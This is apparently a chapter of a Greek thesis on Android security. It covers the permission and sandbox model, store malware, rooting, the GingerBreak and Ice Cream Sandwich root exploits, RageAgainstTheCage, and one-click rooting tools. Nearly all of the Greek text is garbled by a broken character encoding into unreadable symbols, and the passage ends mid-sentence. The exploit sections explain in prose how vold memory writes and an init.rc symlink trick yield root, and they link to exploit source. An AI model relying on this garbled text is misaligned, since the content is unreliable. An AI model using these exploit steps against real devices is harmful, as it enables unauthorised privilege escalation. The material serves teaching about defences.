Εηθόλα 18 Υξήζε ησλ ιεηηνπξγηθώλ πζηεκάησλ Android από ηελ αξρή ηνπ εώο θαη ζήκεξα 

  
 

3.4 Αςφάλεια ςτο Android 
 
Σν Μνληέιν Αζθαιείαο ζην Android είλαη ην θιαζζηθφ γηα ηα Linux. Έλαο ρξήζηεο έρεη 

πεξηνξηζκέλα δηθαηψκαηα (permissions). αλ ρξήζηεο θαηαρσξείηαη έλαο θπζηθφο ρξήζηεο ή έλα 

πξφγξακκα. Σα δηθαηψκαηα απμάλνληαη αλάινγα κε ην επίπεδν αζθαιείαο πνπ έρεη δνζεί ζηνλ 

ρξήζηε. Σνλ απφιπην έιεγρν θαηέρεη ν ρξήζηεο root. 

 

Σα ηειέθσλα κε ινγηζκηθφ Android είλαη εμαηξεηηθά δεκνθηιή θαη ζρεδφλ θαζεκεξηλά βγαίλνπλ λέα 

κνληέια απφ πνιινχο θαηαζθεπαζηέο. Δπίζεο είλαη ρηιηάδεο εθαξκνγέο ζην Android Market θαη ην 

κνληέιν αλάπηπμεο ηνπ βαζηζκέλν ζε Java είλαη ειθπζηηθφ γηα πνιινχο πξνγξακκαηηζηέο.  

Ζ Google ζπλερίδεη λα παξνπζηάδεη θαηλνχξγηεο εθδφζεηο ηνπ ινγηζκηθνχ κε βειηηψζεηο θαη ζε 

ζέκαηα αζθαιείαο θαη ήδε απφ ηνλ Γεθέκβξηνπ ηνπ 2013 δηαηίζεηαη ην Android 4.4.2 kitkat . Χζηφζν, 

δελ είλαη φια ηδαληθά ζην Android . Αλαιχζεηο απφ εηαηξείεο εμεηδηθεπκέλεο ζηελ αζθάιεηα 

ιεηηνπξγηθψλ ζπζηεκάησλ έρνπλ εληνπίζεη πνιινχο ηχπνπο θαθφβνπινπ ινγηζκηθνχ (malware) 

ελζσκαησκέλν ζε εθαξκνγέο πνπ θπθινθφξεζαλ ζην Android Market. 

Βέβαηα πνιιέο πεξηζζφηεξεο πεξηπηψζεηο θαθφβνπινπ ινγηζκηθνχ έρνπλ βξεζεί ζε εθαξκνγέο πνπ 

παξέρνληαη ζε άιια ηληεξλεηηθά θαηαζηήκαηα πνπ δελ ζρεηίδνληαη κε ηελ Google. Ο ρξήζηεο 

εμαπαηάηαη θαη πξνβαίλεη ζηελ εγθαηάζηαζε ηεο εθαξκνγήο πνπ εκθαλίδεηαη σο έλα ρξήζηκν 

εξγαιείν ή έλα παηρλίδη. Σν θαθφβνπιν ινγηζκηθφ ζηε ζπλέρεηα θιέβεη ηα δεδνκέλα απφ ην ηειέθσλν 

θαη ην ζηέιλεη έμσ ζε άγλσζηνπο πξννξηζκνχο κε άγλσζηα θίλεηξα. 

Μεξηθά παξαδείγκαηα θαθφβνπισλ Android apps, πνπ αλαθαιχθζεθαλ θαη απνκαθξχλζεθαλ απφ ην 

Android Market είλαη: 

 

• Super Guitar Solo 

• Photo Editor 

• Advanced Currency Converter  
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• Spider Man 

• Hot Sexy Videos 

 

Γίλεηαη πξνζπάζεηα νη θαθφβνπιεο εθαξκνγέο λα κνηάδνπλ κε πνηθίιεο λφκηκεο εθαξκνγέο 

πξνθεηκέλνπ λα παξαζχξνπλ αλππνςίαζηνπο ρξήζηεο λα ηηο εγθαηαζηήζνπλ θαη λα ηηο ηξέμνπλ. Σα 

πην πάλσ παξαδείγκαηα ήηαλ εθαξκνγέο δηαζέζηκεο ζην Android Market (πιένλ Google Play) θαη ηηο 

είραλ θαηεβάζεη θαη εγθαηαζηήζεη πνιινί ρξήζηεο πξηλ ηηο απνζχξνπλ νη δηαρεηξηζηέο. Απηή ε 

πιαζηνγξάθεζε ησλ λφκηκσλ εθαξκνγψλ θαη ηεο λφκηκεο ιεηηνπξγίαο δελ είλαη κνλαδηθή ζην 

Android Market αιιά είλαη έλα γλψξηζκα θάζε ζπζηήκαηνο πνπ εγθαζίζηαηαη ζε κεγάιε θιίκαθα. 

 

Παξά ην γεγνλφο φηη ην Android ζρεδηάζηεθε απφ ην κεδέλ κε έλα ηζρπξφ κνληέιν αζθάιεηαο, ην 

γεγνλφο φηη βξέζεθαλ πεξηπηψζεηο θαθφβνπινπ ινγηζκηθνχ δείρλεη φηη δελ έρεη βξεζεί ε απφιπηε 

ιχζε, νχηε ζα κπνξνχζε λα βξεζεί ε παλάθεηα γηα ηελ πιαηθφξκα αζθάιεηαο. Ζ πξνζπάζεηα γηα ηνλ 

πεξηνξηζκφ ησλ απεηιψλ πξέπεη λα είλαη ζπλερήο γηα λα είλαη απνηειεζκαηηθή. Ο ζπλδπαζκφο 

sandbox/permissions πνπ ρξεζηκνπνηεί ην android είλαη επαξθψο απνηειεζκαηηθφο. 

 

Ο ηξφπνο ιεηηνπξγίαο ηνπ Android είλαη βαζηζκέλνο ζην ζχζηεκα αδεηνδνηήζεσλ (permissions). 

Απηφ ζεκαίλεη πσο γηα νπνηαδήπνηε ελέξγεηα ηνπ πξνγξάκκαηνο ή ηνπ ρξήζηε ρξεηάδεηαη ε αλάινγε 

άδεηα απφ ην ζχζηεκα. ηελ αξρηηεθηνληθή ηνπ Android νη αδεηνδνηήζεηο ιεηηνπξγνχλ ζε δπν 

επίπεδα: ηνλ ππξήλα (kernel) θαη ζην Application Framework Level. 

Ο ππξήλαο παξέρεη αζθάιεηα ζηελ ινγηθή ησλ νκάδσλ. ην θάζε πξφγξακκα αληηζηνηρείηαη έλαο 

κνλαδηθφο αξηζκφο (user ID), ζηνλ νπνίν εληάζζνληαη φια ηα δηθαηψκαηα πνπ ηνπ παξέρνληαη. 

Απνηξέπεηαη έηζη ε πξφζβαζε ηνπ πξνγξάκκαηνο ζε δηθαηψκαηα πνπ θαηέρνπλ άιιεο εθαξκνγέο. Ζ 

δηαδηθαζία απηή είλαη απνηέιεζκα ηνπ sandboxing πνπ δεκηνπξγεί ην DalvikVM. Σν sandbox παξέρεη 

έλα ειεγρφκελν πεξηβάιινλ πφξσλ ηνπ ππνινγηζηή. ε απηφ ην πεξηβάιινλ ιεηηνπξγεί ηηο εθαξκνγέο. 

Δπηθνηλσλία ηνπ πξνγξάκκαηνο κε ην δίθηπν, ην ιεηηνπξγηθφ ή ηηο ζπζθεπέο Η/Ο ηνπ ζπζηήκαηνο δελ 

ππάξρεη παξά κφλν αλ ην επηηξέςεη ν ρξήζηεο. 

 

Με απηφ ηνλ ηξφπν δεκηνπξγείηαη έλα εηθνληθφ ζχζηεκα (virtualisation) ην νπνίν δελ επηηξέπεη ζε 

επηβιαβείο εθαξκνγέο λα βιάςνπλ ην πξαγκαηηθφ ζχζηεκα. 

 

Έλα δεχηεξν επίπεδν αζθαιείαο παξέρεη ην Application Framework. Μηα εθαξκνγή πξέπεη λα 

δειψζεη θαηά ηελ εγθαηάζηαζε ηα δηθαηψκαηα πνπ ρξεηάδεηαη ζηνπο πφξνπο ηνπ ζπζηήκαηνο. ην 

manifest αξρείν ηεο (AndroidManifest.xml),  δειψλνληαη ξεηά ηα δηθαηψκαηα πνπ δεηάεη. Δάλ κηα 

εθαξκνγή ρξεηάδεηαη πξφζβαζε ζην internet, κφλν εάλ έρεη δειψζεη ζην manifest αξρείν ηεο ην 

android.permission.INTERNET θαη ην επηηξέςεη ν ρξήζηεο θαηά ηελ εγθαηάζηαζε ζα ηεο παξέρεηαη. 

Μέρξη ζήκεξα ππάξρνπλ ηνπιάρηζηνλ 145 δηθαηψκαηα πξνζδηνξηζκέλα ζην Android. Παξφια απηά νη 

εθαξκνγέο κπνξνχλ λα νξίζνπλ δηθά ηνπο δηθαηψκαηα ην νπνίν απμάλεη θαηά πνιχ ην ζπλνιηθφ 

αξηζκφ. Οη άδεηεο ρσξίδνληαη ζε ηέζζεξηο θχξηεο θαηεγνξίεο: 

 

 Απιέο: Υακεινχ ξίζθνπ δελ παξέρνπλ δηθαίσκα ζε επαίζζεηα δεδνκέλα. Απηέο δελ απαηηνχλ 

επηθχξσζε ηνπ ρξήζηε θαηά ηελ εγθαηάζηαζε. 

 Επηθίλδπλεο: Παξέρνπλ πξφζβαζε ζε επαίζζεηα δεδνκέλα ή/θαη πεγέο ηνπ ζπζηήκαηνο θαη 

απαηηνχλ ξεηή επηβεβαίσζε απφ ηνλ Υξήζηε 

 Τπνγεγξακκέλεο (Signature): Ζ θαηεγνξία απηή παξέρεη ηελ άδεηα θαη ζε άιιεο εθαξκνγέο 

κε ηελ ίδηα ππνγξαθή 

 Τπνγεγξακκέλεο/πζηήκαηνο (SignatureOrSystem): πσο θαη ε πξνεγνχκελε θαηεγνξία 

κε ηελ πξνζζήθε πξφζβαζεο απφ εθαξκνγέο ηνπ ζπζηήκαηνο (γξακκέλεο ζην /system, νπφηε 

κε απμεκέλα δηθαηψκαηα).  

 

Κάζε εθαξκνγή πξέπεη λα έρεη ππνγξαθεί γηα λα εγθαηαζηαζεί. Σν Android παξέρεη ηελ δπλαηφηεηα 

ζηνπο πξνγξακκαηηζηέο λα ππνγξάςνπλ κφλνη ηνπο ηελ εθαξκνγή ηνπο. Μφλν εάλ κηα εθαξκνγή έρεη 

δειψζεη ζην manifest κηα Signature ή SignatureOrSystem άδεηα θαη ππάξρεη εθαξκνγή κε ηελ ίδηα 

ππνγξαθή, κπνξεί ε δεχηεξε λα ιεηηνπξγήζεη κε ην ίδην UserID. 
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Καηά ηελ αλάπηπμε ηνπ ιεηηνπξγηθνχ ζπζηήκαηνο κπήθαλ θαη άιιεο δηθιείδεο αζθαιείαο. Σξεηο 

θπξηφηεξεο είλαη νη NX bit , ASLR θαη Full ASLR ( φπσο αλαθέξζεθαλ παξαπάλσ ζηηο εθδφζεηο 2.3 

4.0 θαη 4.1 αληίζηνηρα). Καη νη ηξεηο ζηνρεχνπλ ζην memory corruption πνπ ρξεζηκνπνηείηαη απφ ηνπο 

πηζαλνχο επηηηζέκελνπο. 

 

Memory corruption δεκηνπξγείηαη ζε κηα εθαξκνγή φηαλ ηα πεξηερφκελα πνπ έρεη θαηαιάβεη ζηε 

κλήκε αιιάδνπλ απφ έλα άιιν, άγλσζην, κέξνο θψδηθα. Απφ απηφ κπνξεί λα πξνθχςεη δηαξξνή 

δεδνκέλσλ, θαθή ζπκπεξηθνξά ηνπ πξνγξάκκαηνο ή αθφκα απξνζδφθεηνο ηεξκαηηζκφο ηνπ.  

 

Επιθέςεισ ςε ςυςκευέσ Android  
 

Δμεηάδνπκε ζηε ζπλέρεηα κεζφδνπο γηα hacking ζε ζπζθεπέο Android, πνπ έρνπλ εληνπηζζεί θαη 

κειεηεζεί πξνθεηκέλνπ λα εληνπηζηνχλ νη θνξείο επηζέζεηο θαη ηα πηζαλά ακπληηθά αληίκεηξα.  

Σν Android, φπσο θαη ηα άιια ινγηζκηθά, έρεη ηξσηά ζεκεία. Απηά ρξεζηκνπνηνχληαη γηα λα 

απνθηεζεί πξνλνκηαθή πξφζβαζε ζηε ζπζθεπή (φπσο κε ην RageAgainstTheCage ή ην GingerBreak, 

ηα νπνία ρξεζηκνπνηνχληαη γηα λα απνθηεζνχλ δηθαηψκαηα root ζηε ζπζθεπή), ππάξρνπλ φκσο θαη 

άιια ηξσηά ζεκεία πνπ κπνξνχλ λα αμηνπνηεζνχλ γηα λα ππάξμεη απνκαθξπζκέλε εθηέιεζε θψδηθα 

ζε κηα εππαζή έθδνζε ηνπ Android, ε νπνία είλαη ην πξψην βήκα πνπ απαηηείηαη γηα ην hacking ηεο 

ζπζθεπήο. 

 ηε ζπλέρεηα, εμεηάδνπκε θάπνηεο πεξηπηψζεηο απνκαθξπζκέλσλ επηζέζεσλ ζε θηλεηά Android  

 

Έλεγχοσ τησ ςυςκευήσ Android (Rooting). 
 

Σν γεγνλφο φηη ην ιεηηνπξγηθφ Android είλαη ινγηζκηθφ αλνηθηνχ θψδηθα δελ ζεκαίλεη φηη ν ρξήζηεο 

έρεη πιήξε πξφζβαζε ζην ζχζηεκα απφ πξνεπηινγή. Σν κνληέιν αζθαιείαο ηνπ Android πεξηνξίδεη 

ηελ πξνζβαζηκφηεηα εθαξκνγψλ ζε επαίζζεηα δεδνκέλα. Μηα εθαξκνγή έρεη δηθαηψκαηα αλάγλσζεο 

θαη εγγξαθήο κφλν ζηα δηθά ηεο αξρεία (ζηελ εμσηεξηθή θάξηα κλήκεο), ελψ γηα λα κπνξεί λα 

ρξεζηκνπνηεί πφξνπο ηνπ ζπζηήκαηνο πξέπεη λα έρεη δειψζεη ηελ δηάζεζε ηεο ζην manifest αξρείν 

ηεο. Με απηφ ην κνληέιν ιεηηνπξγίαο, πξαθηηθά ην κνληέιν ησλ Linux, νη θαθφβνπιεο εθαξκνγέο δελ 

κπνξνχλ λα θάλνπλ ρξήζε πφξσλ θαη πιεξνθνξηψλ πνπ ζα κπνξνχζαλ βιάςνπλ ην ιεηηνπξγηθφ θαη ή 

ηνλ ρξήζηε. Οξηζκέλεο εθαξκνγέο, ηα δεδνκέλα, θαη νη ξπζκίζεηο (configurations) δελ είλαη 

πξνζβάζηκεο απφ ηνλ ρξήζηε (κε πξφλνηα είηε ηνπ θαηαζθεπαζηή είηε ηνπ παξφρνπ δηθηχνπ) κε 

ζθνπφ ηελ πξνζηαζία θξίζηκσλ ζηνηρείσλ ηνπ δηθηχνπ. Γηα λα θαηαζηεί εθηθηή ε πξφζβαζε ζηα 

ζηνηρεία απηά ηνπ δηθηχνπ πξέπεη λα γίλεη “rooting” ηεο ζπζθεπήο. Ο φξνο “rooting” πξνέξρεηαη απφ 

ην UNIX, φπνπ ν ρξήζηεο ν νπνίνο έρεη ηα κέγηζηα δηνηθεηηθά πξνλφκηα γηα ην ζχζηεκα νλνκάδεηαη 

root. Με ηελ δηαδηθαζία ηνπ “rooting” ν ρξήζηεο έρεη δηθαηψκαηα δηαρείξηζεο ηνπ ζπζηήκαηνο. Δίλαη 

ην αληίζηνηρν αθξηβψο ηνπ administrator account ζε έλα ζχζηεκα windows. (ην ιεηηνπξγηθφ  iOS , ε 

δηαδηθαζία απηή νλνκάδεηαη jailbreaking). Ζ δηαδηθαζία “rooting” κπνξεί επίζεο λα πξαγκαηνπνηεζεί 

θαη κε απεπζείαο εγθαηάζηαζε εηδηθήο version ηνπ ζπζηήκαηνο (custom ROM), πνπ παξέρεη 

πξφζβαζε root απφ πξνεπηινγή.  

Ζ δηαδηθαζία ηνπ rooting έρεη πιενλεθηήκαηα θαη κεηνλεθηήκαηα. Δίλαη ζεηηθφ φηη, έρεηο ηνλ πιήξε 

έιεγρν ηεο ζπζθεπήο, πνπ ζνπ επηηξέπεη, γηα παξάδεηγκα, 

 λα εγθαηαζηήζεηο ηελ ηειεπηαία έθδνζε ηνπ Android, εγθαζηζηψληαο custom ROMs.  

 Δγθαηάζηαζε extra εθαξκνγψλ πνπ ρξεηάδνληαη πξφζβαζε ζηα αξρεία ηνπ ζπζηήκαηνο (π.ρ. 

εθαξκνγέο γηα πιήξεο backup). 

 Αθαίξεζε εθαξκνγψλ ηνπ ζπζηήκαηνο πνπ δε ζεο λα έρεηο 

 Μεηαθνξά εθαξκνγψλ ζηελ θάξηα SD. 

 Γηαθνξεηηθά εηθνλίδηα θαη ηξνπνπνίεζε θαηά βνχιεζε νιφθιεξνπ ηνπ γξαθηθνχ 

πεξηβάιινληνο. 
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 Δπαλάθηεζε αξρείσλ πνπ ζβήζηεθαλ θαηά ιάζνο. 

 Ξεθιείδσκα απφ ηνλ πάξνρν, θαη πνιιά άιια. 

 

Τπάξρεη φκσο θαη ε αξλεηηθή πιεπξά ηνπ “rooting”, ππάξρνπλ θίλδπλνη πνπ ζπλδένληαη κε απηή ηε 

δηαδηθαζία. Σν πην ζεκαληηθφ είλαη ν θίλδπλνο ηεο πιήξνπο θαηαζηξνθήο ηεο ζπζθεπήο (" bricking " 

ζηελ ηερληθή αξγθφ ). Απηφ κπνξεί λα ζπκβεί αλ ε δηαδηθαζία “rooting” δηαθνπεί μαθληθά θαη θάπνηα 

βαζηθά αξρεία ηνπ ζπζηήκαηνο θαηαζηξαθνχλ ή αλ θνξησζεί έλα ιάζνο firmware. Δπίζεο γηα φζν 

ρξφλν κηα ζπζθεπή δελ έρεη ην επίζεκν ROM ηνπ θαηαζθεπαζηή δελ ππάξρεη εγγχεζε ηεο ζπζθεπήο 

θαη ζα πξέπεη λα εγθαηαζηαζεί έλα επίζεκν ινγηζκηθφ ηεο αληίζηνηρεο ζπζθεπήο γηα λα ζπλερίζεη ε 

εγγχεζε ηεο ζπζθεπήο.  

Βέβαηα, ζηελ Δπξσπατθή Έλσζε, ζχκθσλα κε ηελ θνηλνηηθή νδεγία 1999/44/ΔΚ, ν ρξήζηεο δηαηεξεί 

ην δηθαίσκα αιιαγήο ηνπ ιεηηνπξγηθνχ ζπζηήκαηνο. Ζ εγγχεζε ηεο ζπζθεπήο ηζρχεη, αθπξψλεηαη 

κφλν εάλ ν εγγπεηήο κπνξεί λα απνδείμεη φηη ε πιηθή δεκία πξνήιζε απφ ηελ αιιαγή απηή. 

Έλαο άιινο θίλδπλνο ηεο δηαδηθαζίαο rooting" ζπλδέεηαη κε ηελ αζθάιεηα ηεο ίδηαο ηεο ζπζθεπήο 

δεδνκέλνπ φηη παξαθάκπηνληαη ηα κέηξα αζθαιείαο πνπ εθαξκφδνληαη απφ ην πξνεγθαηεζηεκέλν 

απφ ηνλ θαηαζθεπαζηή (stock ROM) ιεηηνπξγηθφ ζχζηεκα, επηηξέπνληαο ηε δπλαηφηεηα εθηέιεζεο 

θαθφβνπινπ θψδηθα ρσξίο ηε ζπγθαηάζεζε ηνπ ρξήζηε. ηαλ κηα εθαξκνγή ιεηηνπξγεί κε 

δηθαηψκαηα ηνπ ρξήζηε root (ηνπ κφλνπ ρξήζηε πνπ έρεη δηθαηψκαηα ζε νπνηνδήπνηε πφξν θαη 

δεδνκέλν ηνπ ζπζηήκαηνο) ην κνληέιν αζθαιείαο ηνπ Android θαηαξξέεη. Ζ εθαξκνγή έρεη πιένλ 

πάξεη ππφ ηνλ έιεγρν ηεο νιφθιεξν ην ιεηηνπξγηθφ ζχζηεκα, θαζψο πξνζπεξλά νπνηαδήπνηε δηθιίδα 

αζθαιείαο ζηελ νπνία ππνβάιινληαη νη ιεηηνπξγίεο ηεο. 

Χζηφζν, ηα πεξηζζφηεξα εξγαιεία rooting εγθαζηζηνχλ θαη ηελ εθαξκνγή SuperUser.apk, ε νπνία 

ειέγρεη ηελ πξφζβαζε ζε δηθαηψκαηα root, δείρλνληαο κηα πξνεηδνπνίεζε θάζε θνξά πνπ κηα λέα 

εθαξκνγή δεηά πξφζβαζε ζηνλ θψδηθα κε δηθαίσκα su, έηζη ν ρξήζηεο είλαη ζε ζέζε λα ειέγρεη 

επηηξέπνληαο ή απαγνξεχνληαο ηελ πξφζβαζε. 

Ζ θνηλφηεηα ηνπ Android βιέπεη ην δηθαίσκα root ζεηηθά. Με ηελ ζσζηή ρξήζε ην rooting δίλεη 

πεξηζζφηεξα δηθαηψκαηα ζηνλ ρξήζηε. Σνπ δίλεη κεγαιχηεξν έιεγρν ηεο ζπζθεπήο, δηθαίσκα 

εγθαηάζηαζεο εθαξκνγψλ ηξίησλ εθηφο απηψλ ηνπ πξνεπηιεγκέλνπ θαηαζηήκαηνο, αθφκα θαη ηελ 

εγθαηάζηαζε ηξνπνπνηεκέλνπ ιεηηνπξγηθνχ (custom Roms). 

 

 

 

Επίθεςη GingerBreak 
 

ε θηλεηά κε εθδφζεηο Gingerbread (2.3) θαη θάπνηα πνπ ιεηηνπξγνχζαλ Froyo (2.2) θαη Honeycomb 

(3.) βξέζεθε ην 2011 έλα θελφ αζθαιείαο απφ ηελ νκάδα The Android Exploid Crew. Σν θελφ απηφ 

ήηαλ ε ιεγφκελε επίζεζε GingerBreak. 

Ζ επίζεζε ιεηηνπξγεί ρξεζηκνπνηψληαο ηνλ Volume daemon (vold). Ο Manager απηφο είλαη 

ππεχζπλνο γηα ηνπο ηφκνπο (volumes) πνπ δεκηνπξγνχληαη ζηελ εζσηεξηθή κλήκε ηνπ Android ή ηελ 

εμσηεξηθή.  

Βξίζθεηαη ζην /system/bin/vold θαη πεξηέρεη κηα κέζνδν, ηελ DirectVolume::handlePartitionAdded, ε 

νπνία δεκηνπξγεί έλα πίλαθα πεξηερνκέλσλ ρξεζηκνπνηψληαο ζαλ δείθηε έλα integer. Ζ κέζνδνο 

ειέγρεη ην κέγεζνο ηνπ integer αιιά δελ ειέγρεη εάλ είλαη ζεηηθφο ή αξλεηηθφο. Υξεζηκνπνηψληαο 

αξλεηηθέο ηηκέο ζαλ δείθηε ζην vold κέζσ ζχξαο Netlink κπνξνχκε λα δηαβάζνπκε ηπραίεο ζέζεηο 

κλήκεο. Μεηαθέξνληαο ζην global offset table (GOT) ηνπ vold κεζφδνπο (φπσο ην strcomp() θαη 

atoi() ) επαλεγξάθνπκε ηηο κεζφδνπο απηέο κε ηελ δπλαηφηεηα λα θαινχλ ζηελ system(). Έπεηηα 

θάλνληαο μαλά ρξήζε ηνπ vold() κπνξνχκε λα εθηειέζνπκε εθαξκνγέο κέζσ ηνπ system(), κε ηα 

πςειά δηθαηψκαηα ηνπ vold() (θαζψο είκαζηε ζην /system). Πιένλ κε ηελ ρξήζε ηνπ terminal καο 

δίλνπκε δηθαηψκαηα read/write ζηνλ θάθειν /system. Σέινο κπνξνχκε πιένλ λα ρξεζηκνπνηνχκε ηελ 

εληνιή su αθφηνπ ηελ εγθαηαζηήζνπκε, επνκέλσο ην θηλεηφ έρεη γίλεη rooted. 

ηηο εθδφζεηο Android 2.3.4 θαη κεηά ην θελφ απηφ αζθαιείαο θαιχθζεθε, αλ θαη έρνπλ ππάξμεη 

πεξηπηψζεηο ζπζθεπψλ κε έθδνζε ιεηηνπξγηθνχ Honeycomb κε ην ίδην θελφ αζθαιείαο. 
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Επίθεςη ςτο Ice cream Sandwich 
 

Απηή ε κέζνδνο rooting ζπδεηήζεθε πξψηε θνξά ζην θφξνπκ ησλ xda-developers θαη κεηέπεηηα ζην 

full disclosure (Αχγνπζηνο ηνπ 2012). 

Έλα θελφ αζθαιείαο ζην Ice Cream Sandwich (Android 4.0.x) εκθαλίζηεθε ζην init.rc .Δάλ κέζα ζην 

αξρείν ππήξρε κηα εληνιή ηνπ ηχπνπ: 

 

mkdir /data/local/tmp 0771 shell shell  

 

ηφηε θαηά ηελ εθηέιεζε ηνπ ζα έδηλε δηθαηψκαηα read/write (πξαθηηθά αλαγλσξίδνληάο σο ηδηνθηήηε) 

ζηνλ ρξήζηε ηνπ shell ,ηνλ ρξήζηε πνπ έρεη ζπλδεζεί ζην θηλεηφ κέζσ USB πξαθηηθά, αθφκα θαη αλ ν 

θάθεινο δελ δεκηνπξγεζεί άξα απνηχρεη ε εληνιή mkdir.  

Με ηελ απφθηεζε ησλ δηθαησκάησλ ζηνλ θάθειν/data/local ν επηηηζέκελνο κπνξεί λα δεκηνπξγήζεη 

έλα symlink ζε θάπνηνλ άιιν θάθειν, φπσο ν /system θαη κε ην εξγαιείν  debugfs λα εγθαηαζηήζεη 

αξρεία ζην ζχζηεκα φπσο ην su. 

Αλ θαη ην θελφ απηφ δηνξζψζεθε ππάξρνπλ αθφκα ζπζθεπέο νη νπνίεο είλαη επάισηεο ζηε επίζεζε 

απηή. Ζ κέζνδνο απηή ρξεζηκνπνηήζεθε γηα λα απνθηεζνχλ δηθαηψκαηα root ζε ζπζθεπέο φπσο ην 

Samsung Galaxy S3. 

Απηή ε κέζνδνο ρξεηάδεηαη ζχλδεζε κε usb νπφηε δελ κπνξεί λα ρξεζηκνπνηεζεί απφ θαθφβνπιεο 

εθαξκνγέο, είλαη επηθίλδπλε φκσο αλ θάπνηνο απφθηεζε θπζηθή πξφζβαζε ζηελ ζπζθεπή. 

  

Rooting ζπζθεπήο Android: RageAgainstTheCage 
 Γχν δεκνθηιείο root επηζέζεηο γηα ην Android ήηαλ νη exploid θαη RageAgainstTheCage δεδνκέλνπ 

φηη απεπζχλνληαλ ζην κεγαιχηεξν πνζνζηφ ηεο εγθαηεζηεκέλεο βάζεο ηνπ Android, εθδφζεηο lx/2.x 

έσο 2.3 (Gingerbread) . Καη νη δχν είραλ αλαπηπρζεί θαη θπθινθνξήζεη απφ ηνπο Android Exploit 

Crew ην 2010 . Ο πεγαίνο θψδηθαο , καδί κε ηα εθηειέζηκα ARM5 ELF, ηα νπνία κπνξνχλ λα 

ρξεζηκνπνηεζεί ζρεδφλ ζε νπνηαδήπνηε ζπζθεπή Android πξηλ απφ ηελ έθδνζε 2.3, είλαη δηαζέζηκα 

ζην stealth.openwall.net/XSports/RageAgainstTheCage.tgz . Λεπηνκεξείο πιεξνθνξίεο ζρεηηθά κε 

απηφ ην θελφ αζθαιείαο κπνξνχλ λα βξεζνχλ ζην intrepidusgroup.com/insight/2010/09/android-root-

source-code-looking-at-the-c-skills/ .Δδψ είλαη ηα βήκαηα γηα λα θάλεη root  ηε ζπζθεπή 

ρξεζηκνπνηψληαο ην RageAgainstTheCage εθκεηαιιεχνληαη : 

 

Εργαλεία rooting ςτο Android  
ηε δηαδηθαζία rooting κηα θηλεηήο ζπζθεπήο ην πξψην πξάγκα πνπ πξέπεη λα μέξνπκε είλαη ην είδνο 

ηνπ πιηθνχ (θαηαζθεπαζηήο ,ηχπνο) θαζψο θαη ε έθδνζε ηνπ Android πνπ έρεη εγθαηαζηαζεί, κε 

δεδνκέλν φηη δελ δίλνπλ φιεο νη κέζνδνη rooting ιεηηνπξγηθά απνηειέζκαηα ζε φιεο ηηο 

ζπζθεπέο/θαηαζθεπαζηέο/ εθδφζεηο ηνπ ιεηηνπξγηθνχ ζπζηήκαηνο. 

Τπάξρνπλ φκσο εθαξκνγέο rooting πνπ είλαη ιεηηνπξγηθέο ζηε κεγάιε πιεηνςεθία ησλ ζπζθεπψλ θαη 

γηα δηαθνξεηηθέο εθδφζεηο ηνπ ιεηηνπξγηθνχ ζπζηήκαηνο. (universal rooting applications). 

 

SuperOneClick: επηηξέπεη rooting ζρεδφλ ζε φια ηα 

θηλεηά ζηηο εθδφζεηο Android κέρξη θαη ην 

GingerBread. Πξφθεηηαη γηα κηα εθαξκνγή ησλ 

Windows πνπ είλαη πνιχ απιή ζηε ρξήζε. Ζ 

εθαξκνγή (SuperOneClick) κεηαθνξηψλεηαη απφ ην 

site shortfuse.org.  

ηε ζπζθεπή επηηξέπνπκε ηελ ιεηηνπξγία “USB 

Debugging” θαη ηελ ζπλδένπκε κε θαιψδην USB. Με 

ηελ εθηέιεζε ηνπ πξνγξάκκαηνο γίλεηαη ην rooting 

ηεο ζπζθεπήο (παξαηήξεζε δελ πξέπεη λα ππάξρεη 

θάξηα SD ζηε ζπζθεπή).. 

 

 Εηθόλα 19 Android Rooting logos 

http://www.stealth.openwall.net/XSports/RageAgainstTheCage.tgz
http://www.intrepidusgroup.com/insight/2010/09/android-root-source-code-looking-at-the-c-skills/
http://www.intrepidusgroup.com/insight/2010/09/android-root-source-code-looking-at-the-c-skills/
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Z4Root: ην Z4Root είλαη κηα εθαξκνγή Android πνπ έξρεηαη σο έλα 

θαλνληθφ αξρείν apk φπσο απηέο πνπ έρνπλ εγθαηαζηαζεί απφ ην 

επίζεκν Android Market. 

Λεηηνπξγεί γηα εθδφζεηο κέρξη θαη ην Android 2.3. Ζ εθαξκνγή κπνξεί 

λα κεηαθνξησζεί απφ ην forum ησλ XDA Developers ζην site 

forum.xda-developers.com/showthread.php?t=83395 . Ζ εθαξκνγή 

επηηξέπεη κφληκν ή πξνζσξηλφ rooting ηεο ζπζθεπήο θαζψο θαη 

επαλαθνξά ζε κε rooted θαηάζηαζε. Γηα ηελ φιε δηαδηθαζία αξθεί ην 

πάηεκα ηνπ αληίζηνηρνπ «θνπκπηνχ». 

 

 

 

 

 

 

Kingo Android Root 
Μηα απφ ηηο πην ζχγρξνλεο εθαξκνγέο rooting είλαη ην Kingo Android Root. Ζ εθαξκνγή παξακέλεη 

πηζηή ζηελ ινγηθή root κε έλα θιηθ. Μπνξεί λα ηελ θαηεβάδεη θαζέλαο ζηνλ ππνινγηζηή ηνπ 

(http://www.kingoapp.com/android-root.htm), ππνζηεξίδεη θηλεηά κε εθδφζεηο Android κέρξη θαη 

4.2.2, αιιά είλαη θαη ην πξψην πξφγξακκα ηνπ είδνπο ηνπ ,ην νπνίν αλήθεη ζε εηαηξία (Kingosoft). 

Γελ πξφθεηηαη γηα πξφγξακκα αλνηθηνχ θψδηθα θαη νη θαηαζθεπαζηέο ηνπ δελ είλαη γλσζηνί ζηελ 

θνηλφηεηα ηνπ Android. 

Ο Σξφπνο ιεηηνπξγίαο είλαη θνηλφο κε άιια πξνγξάκκαηα. 

Δλεξγνπνίεζε ηνπ “USB debugging” ζηελ ζπζθεπή, 

θαηέβαζκα ηεο εθαξκνγήο γηα windows θαη, αθνχ αθαηξεζεί 

ε θάξηα κλήκεο, ζχλδεζε ηνπ θηλεηνχ ηειεθψλνπ κε ηνλ 

ππνινγηζηή. ηαλ ην πξφγξακκα αλνίμεη δεηά λα ηνπ 

θαζνξηζηεί ε έθδνζε Android πνπ ρξεζηκνπνηείηαη ζην 

ιεηηνπξγηθφ ζηνπ ηειεθψλνπ. Έπεηηα κε έλα θιηθ γίλεηαη ε 

εθθίλεζε ηεο δηαδηθαζίαο rooting ηνπ ιεηηνπξγηθνχ 

ζπζηήκαηνο. 

Σν πξφγξακκα παξέρεη ηελ δπλαηφηεηα unroot ηεο ζπζθεπήο νπνηαδήπνηε ζηηγκή. 

Αθφκα, φπσο δειψλεηαη κέζσ ηνπ site ηνπ πξνγξάκκαηνο, νη ιφγνη πνπ ην πξφγξακκα 

είλαη θιεηζηνχ θψδηθα είλαη πξψηνλ ε πηζαλφηεηα νηθνλνκηθήο εθκεηάιιεπζεο ηεο 

